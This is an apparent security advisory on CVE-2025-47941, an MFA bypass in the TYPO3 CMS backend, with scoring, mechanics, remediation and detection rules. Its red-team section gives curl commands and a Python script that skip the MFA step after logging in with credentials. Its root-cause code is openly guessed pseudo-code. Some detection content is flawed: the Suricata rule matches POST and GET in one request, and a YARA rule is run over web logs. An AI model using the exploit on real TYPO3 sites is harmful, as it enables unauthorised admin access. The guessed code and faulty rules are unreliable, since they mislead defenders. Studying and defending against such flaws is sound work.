CVE-2025-47941

Executive Summary

CVE-2025-47941 is a critical authentication bypass vulnerability in the TYPO3 content management system, affecting versions 12.x prior to 12.4.31 LTS and 13.x prior to 13.4.2 LTS. The flaw resides in the Multifactor Authentication (MFA) dialog presented during backend login. Due to insufficient enforcement of access restrictions on all backend routes, an attacker who possesses valid backend user credentials can bypass the MFA challenge entirely. This effectively nullifies the second factor of authentication, allowing the attacker to gain full administrative access to the TYPO3 backend without completing the MFA step.

The vulnerability has a CVSS score of 7.2 (High), with a vector string indicating network-based exploitation, low attack complexity, and no user interaction required beyond the initial authentication. The EPSS score is 0.0%, suggesting that exploitation is not currently widespread, but the potential for targeted attacks remains significant given the high-value nature of CMS backend access.

Supply Chain & Package Security

TYPO3 is a PHP-based web content management system distributed as a Composer package. This vulnerability affects the core authentication module, not a third-party extension. Organizations using TYPO3 should treat this as a critical supply chain security issue, as the vulnerability is in the core package itself. The fix is available in the latest LTS releases, and immediate upgrade is strongly recommended.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): Low – The attacker must have valid backend user credentials.
• User Interaction (UI): None – No action from a victim user is required.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full read access to backend data is possible.
• Integrity (I): High – Full write access to backend data is possible.
• Availability (A): None – The vulnerability does not affect system availability.

Threat Level: High. While the EPSS score is low, the impact of successful exploitation is severe, granting full backend control. The requirement for valid credentials reduces the attack surface but does not eliminate it, as credentials can be obtained through phishing, credential stuffing, or previous breaches.

Deep Dive & Mechanics

The vulnerability lies in the MFA enforcement logic within TYPO3's backend routing system. When a user authenticates with valid credentials, the system is supposed to redirect them to an MFA challenge page before granting access to any backend route. However, due to insufficient access restriction checks on certain backend routes, an attacker can directly request a backend endpoint (e.g., a module or action) after authentication, bypassing the MFA dialog entirely.

The root cause is a missing or incomplete access control check in the middleware or route handler that validates whether the user has completed MFA. The system likely checks for MFA completion only on the login endpoint, but not on all subsequent backend routes. This allows an authenticated session (without MFA) to access backend functionality.

Attack Flow:

1. Attacker obtains valid backend user credentials (e.g., via phishing or credential stuffing).
2. Attacker sends a POST request to the TYPO3 backend login endpoint with valid credentials.
3. The server authenticates the user and creates a session, but does not enforce MFA completion before allowing access to backend routes.
4. Attacker immediately sends a GET request to a backend module URL (e.g., /typo3/module/system/BeuserTxBeuser?tx_beuser_system_beuser%5Baction%5D=index).
5. The server processes the request without checking MFA status, granting full backend access.

Vulnerable vs. Patched Code

The vulnerable code is likely in the MFA middleware or the route access check. In the vulnerable version, the MFA check is only performed on the login endpoint, not on all backend routes.

Vulnerable (pseudo-code):

// In middleware or route handler
if ($request->isBackendRoute() && !$user->isAuthenticated()) {
    // Redirect to login
}
// MFA check only on login endpoint
if ($request->isLoginEndpoint() && $user->needsMfa()) {
    // Show MFA challenge
}
// No MFA check on other backend routes

Patched (pseudo-code):

// In middleware or route handler
if ($request->isBackendRoute() && !$user->isAuthenticated()) {
    // Redirect to login
}
// MFA check on ALL backend routes
if ($request->isBackendRoute() && $user->needsMfa() && !$user->hasCompletedMfa()) {
    // Redirect to MFA challenge
}

The patch adds a global check that verifies MFA completion for every backend route, not just the login endpoint.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A TYPO3 instance running a vulnerable version (e.g., 12.4.0).
• Valid backend user credentials (e.g., admin:password).

Exploitation Steps:

1. Authenticate without MFA:

   curl -c cookies.txt -X POST https://target.com/typo3/login \
     -d "username=admin&password=password"
   

2. Access a backend module directly:

   curl -b cookies.txt https://target.com/typo3/module/system/BeuserTxBeuser
   

3. If successful, the response will contain the backend interface without MFA prompt.

Automated Exploit Script (Python):

import requests

target = "https://target.com"
session = requests.Session()

# Step 1: Login
login_data = {"username": "admin", "password": "password"}
login_url = f"{target}/typo3/login"
session.post(login_url, data=login_data)

# Step 2: Access backend module
backend_url = f"{target}/typo3/module/system/BeuserTxBeuser"
response = session.get(backend_url)

if "MFA" not in response.text and "login" not in response.text:
    print("[+] MFA bypass successful! Backend access granted.")
else:
    print("[-] MFA bypass failed.")

Blue Team (Detection & Hardening)

Detection:

• Monitor for login events followed immediately by backend module access without MFA challenge.
• Look for HTTP requests to /typo3/module/ that do not have a preceding MFA challenge request.

Hardening:

• Apply the patch immediately by upgrading to TYPO3 12.4.31 LTS or 13.4.2 LTS.
• Implement additional network-level controls to restrict backend access to trusted IPs.
• Enable detailed logging of all backend authentication events.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST to /typo3/login followed by GET to /typo3/module/ without an intervening MFA challenge request.
  • Absence of requests to /typo3/mfa or similar MFA endpoints in the session.

• Log IOCs:

  • TYPO3 system log entries showing successful login but no MFA completion event.
  • Backend access logs showing direct module access without MFA verification.

• File IOCs:

  • Modified or missing MFA middleware files in typo3/sysext/core/Classes/Authentication/Mfa/.

Detection Engineering

YARA Rule

rule CVE_2025_47941_MFA_Bypass {
    meta:
        description = "Detects TYPO3 MFA bypass exploitation attempts"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-47941"
    strings:
        $login_post = "POST /typo3/login"
        $backend_get = "GET /typo3/module/"
        $mfa_challenge = "GET /typo3/mfa"
    condition:
        #login_post > 0 and #backend_get > 0 and #mfa_challenge == 0
}

Sigma Rule

title: TYPO3 MFA Bypass Attempt
id: 8f7b3c2a-1d5e-4f9a-8c6b-3e2a1d5f4c9a
status: experimental
description: Detects HTTP requests indicating MFA bypass in TYPO3 backend
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/typo3/login'
    selection2:
        cs-method: 'GET'
        cs-uri-stem: '/typo3/module/*'
    condition: selection and selection2 and not (cs-uri-stem: '/typo3/mfa')
falsepositives:
    - Legitimate MFA completion may be missed if logging is incomplete
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-47941 TYPO3 MFA Bypass Attempt"; flow:to_server; content:"POST"; http_method; content:"/typo3/login"; http_uri; content:"GET"; http_method; content:"/typo3/module/"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade TYPO3 to version 12.4.31 LTS or 13.4.2 LTS. This is the only complete fix.
2. If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block direct access to backend modules without MFA challenge.
3. Review backend user accounts and reset passwords for all users. Enforce strong password policies.

Long-term Mitigations:

• Implement network segmentation to restrict backend access to internal networks or VPN.
• Enable multi-factor authentication for all backend users (once the patch is applied).
• Regularly audit backend access logs for suspicious patterns.
• Subscribe to TYPO3 security advisories for future updates.

Workaround (if patching is delayed):

• Modify the .htaccess file to require additional authentication for /typo3/module/ paths, but this is not a complete fix.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert